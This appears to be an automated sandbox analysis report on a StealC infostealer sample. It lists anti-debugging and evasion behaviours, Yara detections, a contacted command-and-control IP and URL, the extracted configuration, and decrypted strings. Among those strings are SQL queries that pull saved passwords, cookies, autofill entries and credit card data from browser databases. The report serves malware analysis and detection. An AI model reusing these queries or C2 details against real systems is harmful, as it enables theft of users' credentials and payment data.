Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04840D90 mov eax, dword ptr fs:[00000030h]	0_2_04840D90
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04859D07 mov eax, dword ptr fs:[00000030h]	0_2_04859D07
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484092B mov eax, dword ptr fs:[00000030h]	0_2_0484092B

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_004179E0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004179E0

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041B058
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0041D21A SetUnhandledExceptionFilter,	0_2_0041D21A
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0041B63A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041B63A
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0485D481 SetUnhandledExceptionFilter,	0_2_0485D481
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0485B2BF memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0485B2BF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0485B8A1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0485B8A1

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: lxEu3xfjIb.exe PID: 1436, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_004198E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,	0_2_004198E0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00419790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	0_2_00419790
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048599F7 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	0_2_048599F7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04859B47 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,	0_2_04859B47

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_048869EF cpuid

0_2_048869EF

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		0_2_00417D20
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		0_2_04857F87

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00418CF0 GetSystemTime,

0_2_00418CF0

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_004179E0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004179E0

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00417BC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00417BC0

AV process strings found (often used to terminate AV products)

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.3.lxEu3xfjIb.exe.4920000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.4840e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.4840e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lxEu3xfjIb.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.3.lxEu3xfjIb.exe.4920000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.4840e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.4840e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lxEu3xfjIb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lxEu3xfjIb.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
95.215.207.176	unknown	Ukraine		204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://95.215.207.176/d8ddb681db736e16.php	true		unknown
http://95.215.207.176/	true		unknown

AV Detection

Antivirus / Scanner detection for submitted sample

Source: lxEu3xfjIb.exe

Avira: detected

Found malware configuration

Source: 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://95.215.207.176/d8ddb681db736e16.php", "Botnet": "LogsDiller"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: lxEu3xfjIb.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 22
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 11
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 20
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 24
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetProcAddress
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: LoadLibraryA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: lstrcatA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: OpenEventA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateEventA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CloseHandle
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Sleep
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: VirtualFree
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetSystemInfo
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: VirtualAlloc
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HeapAlloc
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetComputerNameA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: lstrcpyA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetProcessHeap
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: lstrlenA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ExitProcess
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetSystemTime
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: advapi32.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: gdi32.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: user32.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: crypt32.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ntdll.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetUserNameA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateDCA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ReleaseDC
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sscanf
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: VMwareVMware
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HAL9TH
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: JohnDoe
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DISPLAY
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: http://95.215.207.176
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: gjtwvm
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: /d8ddb681db736e16.php
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: /70d63ca8a5be6cc3/
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: LogsDiller
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GlobalLock
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HeapFree
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetFileSize
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GlobalSize
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: IsWow64Process
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Process32Next
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetLocalTime
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: FreeLibrary
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Process32First
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DeleteFileA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: FindNextFileA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: LocalFree
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: FindClose
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: LocalAlloc
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ReadFile
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SetFilePointer
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: WriteFile
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateFileA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: FindFirstFileA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CopyFileA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: VirtualProtect
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetLastError
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: lstrcpynA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GlobalFree
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GlobalAlloc
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: OpenProcess
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: TerminateProcess
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: gdiplus.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ole32.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: bcrypt.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: wininet.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: shlwapi.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: shell32.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: psapi.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SelectObject
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BitBlt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DeleteObject
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdiplusStartup
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdipFree
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CoUninitialize
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CoInitialize
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CoCreateInstance
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetWindowRect
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetDC
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CloseWindow
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: wsprintfA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CharToOemW
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: wsprintfW
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RegCloseKey
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RegEnumValueA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: InternetConnectA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: InternetOpenA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: InternetReadFile
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: StrCmpCA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: StrStrA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: StrCmpCW
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: PathMatchSpecA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RmStartSession
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RmRegisterResources
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RmGetList
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RmEndSession
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_open
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_step
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_column_text
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_finalize
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_close
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_column_blob
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: encrypted_key
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: PATH
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: NSS_Init
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: NSS_Shutdown
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: PK11_FreeSlot
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: PK11_Authenticate
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: C:\ProgramData\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: browser:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: profile:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: url:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: login:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: password:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Opera
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: OperaGX
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Network
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: cookies
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: .txt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: TRUE
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: FALSE
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: autofill
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: history
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: cc
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: name:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: month:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: year:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: card:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Cookies
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Login Data
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Web Data
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: History
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: logins.json
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: formSubmitURL
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: usernameField
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: encryptedUsername
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: encryptedPassword
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: guid
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
